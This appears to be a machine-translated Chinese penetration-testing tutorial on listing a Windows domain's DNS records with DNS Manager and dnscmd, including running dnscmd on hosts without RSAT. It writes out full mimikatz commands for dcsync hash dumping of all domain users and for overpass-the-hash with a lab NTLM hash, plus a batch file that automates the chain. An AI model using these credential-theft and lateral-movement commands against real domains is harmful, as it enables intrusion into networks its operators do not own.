0x00前言在域名渗透中,域名环境信息的收集非常重要。如果获取了域内管理员的权限,如何快速了解域内的网络结构呢?DNS记录绝对是一个很好的参考。本文将介绍域名穿透中获取DNS记录的常用方法。0x01介绍本文将介绍以下内容:通过DNSManager获取DNS记录通过dnscmd获取DNS记录如何远程读取域中的DNS记录0x02通过DNSManager获取DNS记录测试系统:WindowsServer2008R2x64选择AdministrativeTools->DNS.在ForwardLookupZones下找到当前域名,可以显示当前域的DNS记录,包括主机名和对应的IP。如下图所示:0x03通过dnscmd获取DNS记录dnscmd:用于管理DNS服务器的命令行界面,支持远程连接。默认安装的系统:WindowsServer2003WindowsServer2008WindowsServer2003R2WindowsServer2008R2WindowsServer2012WindowsServer2003withSP1...参考:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)Win7系统需要安装RemoteServerAdministrationTools(RSAT)参考地址:https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systemsRSAT下载地址:https://www.microsoft.com/en-us/download/details。aspx?id=7887测试系统:WindowsServer2008R2x64常用命令:(1)列出当前节点在DNS区的资源记录:Dnscmd./EnumZones如下图:(2)列出的信息test.com:Dnscmd./ZoneInfotest.com如下图:(3)列出test.com中的记录,方法一(更详细):Dnscmd./ZonePrinttest.com如下图:(4)列出testc.com中的记录,方法二:Dnscmd。/EnumRecordstest.com。如下图所示:结果与DNSManager获取的记录一致。0x04远程读取域内DNS记录的方法该方法解析需要域管理员权限。第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd获取DNS记录。第二种方法是执行dnscmd远程读取域内主机上的DNS记录。但是Win7系统默认不支持dnscmd,直接安装RemoteServerAdministrationTools(RSAT)不太现实。因此,我试图找到一种在未安装远程服务器管理工??具(RSAT)的系统上执行dnscmd的方法。方法测试复制一个dnscmd.exe到没有安装远程服务器管理工??具(RSAT)的Win7系统,直接执行,结果失败。解决方案使用ProcessMonitor记录下dnscmd的执行过程,查看丢失了哪些文件。如下图:发现dnscmd.exe.mui文件丢失。把丢失的文件补全,再测试,终于找到解决办法。要在未安装远程服务器管理工??具(RSAT)的系统上执行dnscmd,必须满足以下条件:1.dnscmd保存在路径C:\Windows\System322.dnscmd.exe.mui保存在C:\Windows\System32\en-US下(这个位置比较常见,其他位置也可以)注:WindowsServer2008R2下可以使用dnscmd和dnscmd.exe.mui。这里有一个测试文件(我是从WindowsServer2008R2得到的):https://github.com/3gstudent/test/dnscmd.exehttps://github.com/3gstudent/test/dnscmd.exe.mui注意:用于测试仅有的。由于dnscmd没有提供远程连接时输入用户名和密码的接口,所以这里需要mimikatz的Overpass-the-hash。首先需要获取域管理员用户的hash。这里只能使用ntlm/rc4/aes128/aes256。如果已经获取到域管理员用户的明文密码,可以先将明文转换为ntlm。在线加密网站:https://md5decrypt.net/en/Ntlm/补充:使用dcsync获取域内所有用户的hash。在域控制器上执行mimikatz:mimikatz.exeprivilege::debug"lsadump::dcsync/domain:test.local/all/csvexit"。实测测试环境参数如下:域管理员用户:Administrator密码:DomainAdmin456!hash:A55E0720F0041193632A58E007624B40Overpass-the-hash:mimikatz.exeprivilege::debug"sekurlsa::pth/user:Administrator/domain:test.com/ntlm:A55E0720F0041193632A58E007624B40"这将弹出一个远程连接到cmd.exed的查询然后使用:DnscmdWIN-F08C969D7FM。test.com/EnumZonesorDnscmdWIN-F08C969D7FM/EnumZones注意:此处应使用FQDN或计算机名称。如下图所示:如果想在命令行下实现整个过程,可以使用以下方法:新建一个c:\test\1.bat,内容如下:DnscmdWIN-F08C969D7FM.test.com/EnumZones>c:\test\out.txtOverpass-the-hash:mimikatz.exeprivilege::debug"sekurlsa::pth/user:Administrator/domain:test.com/ntlm:A55E0720F0041193632A58E007624B40/run:\"cmd.exe/cc:\test\1.bat\""注意:cmd.exe下"需要使用转义符\"0x05总结本文介绍在域中使用Overpass-the-hash实现d??nscmd远程读取DNS记录的方法.
